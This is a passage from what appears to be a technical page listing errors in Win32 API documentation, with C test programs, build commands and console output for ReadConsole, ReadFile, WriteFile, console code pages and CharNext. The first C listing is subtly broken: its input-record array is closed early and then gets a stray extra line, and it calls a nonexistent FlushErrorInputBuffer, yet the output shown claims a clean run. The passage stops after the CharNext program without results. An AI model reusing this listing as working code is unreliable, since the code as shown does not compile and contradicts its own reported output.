A pointer to a CONSOLE_READCONSOLE_CONTROL structure that specifies a control character to signal the end of the read operation. This parameter can be NULL.

Remarks

ReadConsole reads keyboard input from a console's input buffer. It behaves like the ReadFile function, […]

The documentation for the Win32 function ReadFile() states:
Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device.
BOOL ReadFile(
  [in]                HANDLE       hFile,
  [out]               LPVOID       lpBuffer,
  [in]                DWORD        nNumberOfBytesToRead,
  [out, optional]     LPDWORD      lpNumberOfBytesRead,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
[…]

Remarks

Characters can be read from the console input buffer by using ReadFile with a handle to console input. The console mode determines the exact behavior of the ReadFile function. By default, the console mode is ENABLE_LINE_INPUT, which indicates that ReadFile should read until it reaches a carriage return. If you press Ctrl+C, the call succeeds, but GetLastError returns ERROR_OPERATION_ABORTED.

Falsification

Perform the following 6 simple steps to show the blunder and prove the highlighted statements of both documentations cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	INPUT_RECORD	irInput[] = {{KEY_EVENT, {TRUE, L'\0', VK_PACKET, L'\0', L'€', 0UL}},
    			             {KEY_EVENT, {FALSE, L'\0', VK_PACKET, L'\0', L'€', 0UL}},
    			             {KEY_EVENT, {TRUE, L'\0', VK_RETURN, L'\0', L'\r', 0UL}}};
    			             {KEY_EVENT, {FALSE, L'\0', VK_RETURN, L'\0', L'\r', 0UL}}};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwCount;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwInput;
    	WCHAR	szInput[sizeof(irInput) / sizeof(*irInput)];
    	HANDLE	hInput;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hInput = GetStdHandle(STD_INPUT_HANDLE);
    
    		if (hInput == INVALID_HANDLE_VALUE)
    			PrintConsole(hError,
    			             L"GetStdHandle() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			if (!FlushErrorInputBuffer(hInput))
    				PrintConsole(hError,
    				             L"FlushConsoleInputBuffer() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifndef BLUNDER
    				if (!WriteConsoleInput(hInput,
    				                       irInput,
    				                       sizeof(irInput) / sizeof(*irInput),
    				                       &dwInput))
    					PrintConsole(hError,
    					             L"WriteConsoleInput() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hError,
    					             L"WriteConsoleInput() wrote %lu of %lu input records\n",
    					             dwInput, sizeof(irInput) / sizeof(*irInput));
    
    					if (!ReadConsole(hInput, szInput, sizeof(szInput) / sizeof(*szInput), &dwInput, NULL))
    						PrintConsole(hError,
    						             L"ReadConsole() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						PrintConsole(hError,
    						             L"ReadConsole() read %lu characters: \'%lc\' ",
    						             dwCount = dwInput, *szInput);
    
    						for (dwInput = 0UL; dwInput < dwCount; dwInput++)
    							PrintConsole(hError,
    							             L"%lc U+%04hX",
    							             dwInput == 0UL ? L'=' : L',', szInput[dwInput]);
    
    						if (!WriteConsole(hError, L"\n", 1UL, (LPDWORD) NULL, NULL))
    							PrintConsole(hError,
    							             L"WriteConsole() returned error %lu\n",
    							             dwError = GetLastError());
    					}
    				}
    
    				if (!WriteConsoleInput(hInput,
    				                       irInput,
    				                       sizeof(irInput) / sizeof(*irInput),
    				                       &dwInput))
    					PrintConsole(hError,
    					             L"WriteConsoleInput() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hError,
    					             L"WriteConsoleInput() wrote %lu of %lu input records\n",
    					             dwInput, sizeof(irInput) / sizeof(*irInput));
    
    					if (!ReadFile(hInput, szInput, sizeof(szInput), &dwInput, (LPOVERLAPPED) NULL))
    						PrintConsole(hError,
    						             L"ReadFile() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						PrintConsole(hError,
    						             L"ReadFile() read %lu characters: \'%hc\' ",
    						             dwCount = dwInput, *szInput);
    
    						for (dwInput = 0UL; dwInput < dwCount; dwInput++)
    							PrintConsole(hError,
    							             L"%lc \\x%02X",
    							             dwInput == 0UL ? L'=' : L',', ((LPCSTR) szInput)[dwInput]);
    
    						if (!WriteConsole(hError, L"\n", 1UL, (LPDWORD) NULL, NULL))
    							PrintConsole(hError,
    							             L"WriteConsole() returned error %lu\n",
    							             dwError = GetLastError());
    					}
    				}
    #else // BLUNDER
    				if (!WriteConsole(hError,
    				                  L"Press CTRL+C or ENTER to continue: ",
    				                  sizeof("Press CTRL+C or ENTER to continue: ") - 1,
    				                  (LPDWORD) NULL,
    				                  NULL))
    					PrintConsole(hError,
    					             L"WriteConsole() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (!ReadConsole(hInput, NULL, 0UL, &dwInput, NULL))
    						PrintConsole(hError,
    						             L"ReadConsole() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    						PrintConsole(hError,
    						             L"ReadConsole() read %lu characters\n",
    						             dwInput);
    
    				if (!WriteConsole(hError,
    				                  L"Press CTRL+C or ENTER to continue: ",
    				                  sizeof("Press CTRL+C or ENTER to continue: ") - 1,
    				                  (LPDWORD) NULL,
    				                  NULL))
    					PrintConsole(hError,
    					             L"WriteConsole() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (!ReadFile(hInput, NULL, 0UL, &dwInput, (LPOVERLAPPED) NULL))
    						PrintConsole(hError,
    						             L"ReadFile() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    						PrintConsole(hError,
    						             L"ReadFile() read %lu characters\n",
    						             dwInput);
    #endif // BLUNDER
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    WriteConsoleInput() wrote 4 of 4 input records
    €
    ReadConsole() read 3 characters: '€' = U+20AC, U+000D, U+000A
    WriteConsoleInput() wrote 4 of 4 input records
    €
    ReadFile() read 3 characters: '?' = \x3F, \x0D, \x0A
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH¹: contrary to the second highlighted statement of its documentation cited above, the ReadConsole() function does not (mis)behave like the ReadFile() function – the latter fails to read at least the € sign and yields the substitution character ? instead!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(42) : warning C4101: 'szInput' : unreferenced local variable
    blunder.c(39) : warning C4101: 'dwCount' : unreferenced local variable
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  5. Execute the console application blunder.exe built in step 4. a first time and answer its prompt(s) with the Enter key:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Press CTRL+C or ENTER to continue:
    ReadConsole() read 0 characters
    Press CTRL+C or ENTER to continue: ReadFile() returned error 998
    
    0x3e6 (WIN32: 998 ERROR_NOACCESS) -- 998 (998)
    Error message text: Invalid access to memory location.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to the second highlighted statement of its documentation cited above, the ReadConsole() function does not (mis)behave like the ReadFile() function – the latter fails with Win32 error code 998 alias ERROR_NOACCESS when called with buffer address NULL and buffer size 0!
  6. Execute the console application blunder.exe built in step 4. a second time, but answer its prompt(s) with the Ctrl C keyboard shortcut:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Press CTRL+C or ENTER to continue: ReadConsole() read 0 characters
    Press CTRL+C or ENTER to continue: ^C
    
    0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510)
    Error message text: {Application Exit by CTRL+C}
    The application terminated as a result of a CTRL+C.
    CertUtil: -error command completed successfully.
    OUCH³: contrary to the second highlighted statement of its documentation cited above, the ReadConsole() function does not (mis)behave like the ReadFile() function – contrary to the highlighted statement of its documentation cited above the latter fails to return at all when Ctrl C is pressed!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 41

The documentation for the Win32 function WriteFile() states:
Writes data to the specified file or input/output (I/O) device.

[…]

BOOL WriteFile(
  [in]                HANDLE       hFile,
  [in]                LPCVOID      lpBuffer,
  [in]                DWORD        nNumberOfBytesToWrite,
  [out, optional]     LPDWORD      lpNumberOfBytesWritten,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
[…]

[out, optional] lpNumberOfBytesWritten

A pointer to the variable that receives the number of bytes written when using a synchronous hFile parameter. WriteFile sets this value to zero before doing any work or error checking. Use NULL for this parameter if this is an asynchronous operation to avoid potentially erroneous results.

This parameter can be NULL only when the lpOverlapped parameter is not NULL.

Windows 7: This parameter can not be NULL.

[…]

If the function succeeds, the return value is nonzero (TRUE).

If the function fails, or is completing asynchronously, the return value is zero (FALSE). To get extended error information, call the GetLastError function.

OUCH: 232 − 2 nonzero BOOL values differ from the value of the preprocessor macro TRUE!

Falsification

Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	mainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (!WriteFile(hError, "BLUNDER!\r\n", 10UL, (LPDWORD) NULL, (LPOVERLAPPED) NULL))
    		dwError = GetLastError();
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. on Windows 7 and evaluate its exit code:

    VER
    .\blunder.exe
    ECHO %ERRORLEVEL%
    Microsoft Windows [Version 6.1.7601]
    BLUNDER!
    0
    OOPS: contrary to the highlighted statement of the documentation cited above, lpNumberOfBytesWritten can be NULL on Windows 7!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 42

The MSDN article Determining the Current Character Set Code Page specifies:
The AreFileApisANSI function determines whether the file I/O functions are using the ANSI or OEM character set code page. The SetFileApisToANSI function causes the functions to use the ANSI code page. The SetFileApisToOEM function causes the functions to use the OEM code page.

By default, file I/O functions use ANSI file names. Functions exported by Kernel32.dll that accept or return file names are affected by the file code page setting.

Both SetFileApisToANSI and SetFileApisToOEM set the code page per process, rather than per thread or per computer.

The documentation for the Win32 function AreFileApisANSI() specifies:
Determines whether the file I/O functions are using the ANSI or OEM character set code page. This function is useful for 8-bit console input and output operations.

[…]

The file I/O functions whose code page is ascertained by AreFileApisANSI are those functions exported by KERNEL32.DLL that accept or return a file name.

The documentation for the Win32 function GetACP() specifies:
Retrieves the current Windows ANSI code page identifier for the operating system.
The documentation for the Win32 function GetOEMCP() specifies:
Returns the current original equipment manufacturer (OEM) code page identifier for the operating system.
The documentation for the Win32 function SetFileApisToANSI() states:
Causes the file I/O functions to use the ANSI character set code page for the current process. This function is useful for 8-bit console input and output operations.

[…]

The file I/O functions whose code page is set by SetFileApisToANSI are those functions exported by KERNEL32.DLL that accept or return a file name.

[…]

The 8-bit console functions use the OEM code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.

OUCH¹: the highlighted statement is but wrong!

The documentation for the Win32 function SetFileApisToOEM() states:

Causes the file I/O functions for the process to use the OEM character set code page. This function is useful for 8-bit console input and output operations.

[…]

The file I/O functions whose code page is set by SetFileApisToOEM are those functions exported by KERNEL32.DLL that accept or return a file name.

[…]

The 8-bit console functions use the OEM code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.

OUCH²: the highlighted statement is but wrong too!

The MSDN article Console Application Issues states:

The 8-bit console functions use the OEM code page.

[…]

The console will accept UTF-16 encoding on the W variant of the APIs of UTF-8 encoding on the A variant of the APIs after using SetConsoleCP and SetConsoleOutputCP to 65001 (CP_UTF8 constant) for the UTF-8 code page.

Barring that solution, a console application should use the SetFileApisToOEM function. That function changes relevant file functions so that they produce OEM character set strings rather than ANSI character set strings.

OUCH³: despite its third repetition, the first highlighted statement is but still wrong – contrary to the relevant file functions, which use the operating system’s static OEM code page when turned on with the SetFileApisToOEM() function, the 8-bit console input functions use an arbitrary user-controlled ANSI or OEM code code page which can be queried with the GetConsoleCP() function and set with the SetConsoleCP() function, whereas the 8-bit console output functions use another arbitrary user-controlled ANSI or OEM code page which can be queried with the GetConsoleOutputCP() function and set with the SetConsoleOutputCP() function!

The MSDN article Console Code Pages specifies:

Associated with each console are two code pages: one for input and one for output. A console uses its input code page to translate keyboard input into the corresponding character value. It uses its output code page to translate the character values written by the various output functions into the images displayed in the console window. An application can use the SetConsoleCP and GetConsoleCP functions to set and retrieve a console's input code pages and the SetConsoleOutputCP and GetConsoleOutputCP functions to set and retrieve its output code pages.
Note: the console commands Chcp and Mode query the console input code page, but always set both the console input and output code pages.

OUCH⁴: contrary to the last highlighted statement, a console application which uses 8-bit console input and output functions together with 8-bit file input and output functions needs to query their current mode with the AreFileApisANSI() function, call depending on its result either the GetACP() or the GetOEMCP() function to retrieve the appropriate code page identifier, then call the SetConsoleCP() and SetConsoleOutputCP() functions to set the console input and output code pages.

Demonstration

Perform the following 6 simple steps to show the behaviour.
  1. Create the ANSI text file blunder.txt containing the extended characters of Code Page 1252 in an arbitrary, preferable empty directory:

    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    Note: with the trailing CR/LF pair the file blunder.txt contains 125 single-byte characters.
  2. Start the Command Processor Cmd.exe in the directory where you created the text file blunder.txt, then query the console input code page and display the text file blunder.txt using the internal Type command:

    CHCP.COM
    TYPE blunder.txt
    Active code page: 850.
    ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ 
    OOPS: the file’s content is rendered like mojibake!
  3. Set the console (input and output) code pages to 1252 and repeat the previous step 2, then reset the console code pages to 850:

    CHCP.COM 1252
    TYPE blunder.txt
    CHCP.COM 850
    Active code page: 1252.
    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    Active code page: 850.
  4. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    const	CHAR	szBlunder[] = "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n";
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szCP[1024];
    	DWORD	dwCP = wsprintf(szCP,
    		                L"GetACP() returned code page identifier %u\n"
    		                L"GetConsoleCP() returned code page identifier %u\n"
    		                L"GetConsoleOutputCP() returned code page identifier %u\n"
    		                L"GetOEMCP() returned code page identifier %u\n",
    		                GetACP(), GetConsoleCP(), GetConsoleOutputCP(), GetOEMCP());
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!WriteConsole(hError, szCP, dwCP, &dwError, NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= dwCP)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    		if (!WriteConsoleA(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= sizeof(szBlunder) - 1)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    		if (!WriteFile(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, (LPOVERLAPPED) NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= sizeof(szBlunder) - 1)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    		if (!SetConsoleOutputCP(GetACP()))
    			dwError = GetLastError();
    		else
    		{
    			if (!WriteConsoleA(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= sizeof(szBlunder) - 1)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    			if (!WriteFile(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, (LPOVERLAPPED) NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= sizeof(szBlunder) - 1)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    			if (!SetConsoleOutputCP(GetOEMCP()))
    				dwError = GetLastError();
    		}
    	}
    
    	ExitProcess(dwError);
    }
  5. Compile and link the source file blunder.c created in step 4.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  6. Execute the console application blunder.exe built in step 5. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetACP() returned code page identifier 1252
    GetConsoleCP() returned code page identifier 850
    GetConsoleOutputCP() returned code page identifier 850
    GetOEMCP() returned code page identifier 850
    ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ 
    ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ 
    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.

Blunder № 43

The documentation for the Win32 function CharNextA() states:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.

[…]

LPSTR CharNextA(
  [in] LPCSTR lpsz
);
[…]

When called as an ANSI function, CharNext uses the system default code-page, whereas CharNextExA() specifies a code-page to use.

The documentation for the Win32 function CharNextExA() states:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.

[…]

LPSTR CharNextExA(
  [in] WORD   CodePage,
  [in] LPCSTR lpCurrentChar,
  [in] DWORD  dwFlags
);
[…]

[in] CodePage

The identifier of the code page to use to check lead-byte ranges. Can be one of the code-page values provided in Code Page Identifiers, or one of the following predefined values.

Value Meaning
CP_ACP
0
Use system default ANSI code page.
CP_MACCP
2
Use the system default Macintosh code page.
CP_OEMCP
1
Use system default OEM code page.
Note: the code page identifier 65001 alias CP_UTF8 denotes multi-byte character strings in UTF-8 encoding.

The documentation for the Win32 function CharNextW() states:

Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.

[…]

LPWSTR CharNextW(
  [in] LPCWSTR lpsz
);
[…]

This function works with default "user" expectations of characters when dealing with diacritics. For example: A string that contains U+0061 U+030a "LATIN SMALL LETTER A" + "COMBINING RING ABOVE" — which looks like "å", will advance two code points, not one. A string that contains U+0061 U+0301 U+0302 U+0303 U+0304 — which looks like "á̂̃̄", will advance five code points, not one, and so on.

The MSDN article Surrogates and Supplementary Characters states:
[…] CharNext() and CharPrev() move by 16-bit code points, not by surrogate pairs.

Note

Standalone surrogate code points have either a high surrogate without an adjacent low surrogate, or vice versa. These code points are invalid and are not supported. Their behavior is undefined.

OUCH⁰: a surrogate pair consisting of two 16-bit code units represents but a single code point!

Note: a low (alias trail) surrogate followed by a high (alias lead) surrogate is of course invalid too!

Falsification

Perform the following 5 simple steps to show the blunder and prove the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef BLUNDER
    const	WCHAR	szWide[] = L"\xFEFF \xD83D\xDE12 \xD83C\xDDEA\xD83C\xDDFA a\x030A a\x0301\x0302\x0303\x0304";
    #else
    const	WCHAR	szWide[] = L"\xFEFF \xDE12\xD83D \xDDEA\xD83C\xDDFA\xD83C a\x030A a\x0301\x0302\x0303\x0304";
    #endif
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	UINT	uiWide;
    	UINT	uiANSI;
    	CHAR	szANSI[42];
    	LPCSTR	lpANSI;
    	LPCVOID	lpLast;
    	LPCWSTR	lpWide;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		PrintConsole(hError,
    		             L"%tu UTF-16 code units:\n",
    		             sizeof(szWide) / sizeof(*szWide));
    
    		for (uiWide = 0U; uiWide < sizeof(szWide) / sizeof(*szWide); uiWide++)
    			PrintConsole(hError,
    			             L" %04hX",
    			             szWide[uiWide]);
    
    		PrintConsole(hError,
    		             L"\n\n");
    
    		for (lpWide = szWide, uiWide = 0U;
    		     lpWide = CharNext(lpLast = lpWide), lpWide != lpLast;
    		     uiWide++)
    			PrintConsole(hError,
    			             L"%tu code units at offset %tu\n",
    			             lpWide - lpLast, -(szWide - lpLast));
    
    		PrintConsole(hError,
    		             L"CharNextW() enumerated %u characters in %tu code units\n",
    		             uiWide, sizeof(szWide) / sizeof(*szWide));
    
    		uiANSI = WideCharToMultiByte(CP_UTF8,
    		                             WC_ERR_INVALID_CHARS,
    		                             szWide, sizeof(szWide) / sizeof(*szWide),
    		                             szANSI, sizeof(szANSI),
    		                             (LPCCH) NULL, (LPBOOL) NULL);
    		if (uiANSI == 0U)
    			PrintConsole(hError,
    			             L"WideCharToMultiByte() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hError,
    			             L"\n"
    			             L"WideCharToMultiByte() returned %u UTF-8 code units for %tu UTF-16 code units:\n",
    			             uiANSI, sizeof(szWide) / sizeof(*szWide));
    
    			lpANSI = szANSI;
    
    			do
    				PrintConsole(hError,
    				             L" %02X",
    				             *lpANSI++);
    			while (--uiANSI);
    
    			PrintConsole(hError,
    			             L"\n\n");
    
    			if ((GetACP() != CP_UTF8)
    			 || (GetOEMCP() != CP_UTF8))
    			{
    				for (lpANSI = szANSI, uiANSI = 0U;
    				     lpANSI = CharNextExA(CP_UTF8, lpLast = lpANSI, 0UL), lpANSI != lpLast;
    				     uiANSI++)
    					PrintConsole(hError,
    					             L"%tu code units at offset %tu\n",
    					             lpANSI - lpLast, -(szANSI - lpLast));
    				PrintConsole(hError,
    				             L"CharNextExA() enumerated %u characters\n",
    				             uiANSI);
    			}
    			else
    			{
    				for (lpANSI = szANSI, uiANSI = 0U;
    				     lpANSI = CharNextA(lpLast = lpANSI), lpANSI != lpLast;
    				     uiANSI++)
    					PrintConsole(hError,
    					             L"%tu code units at offset %tu\n",
    					             lpANSI - lpLast, -(szANSI - lpLast));
    				PrintConsole(hError,
    				             L"CharNextA() enumerated %u characters\n",
    				             uiANSI);
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
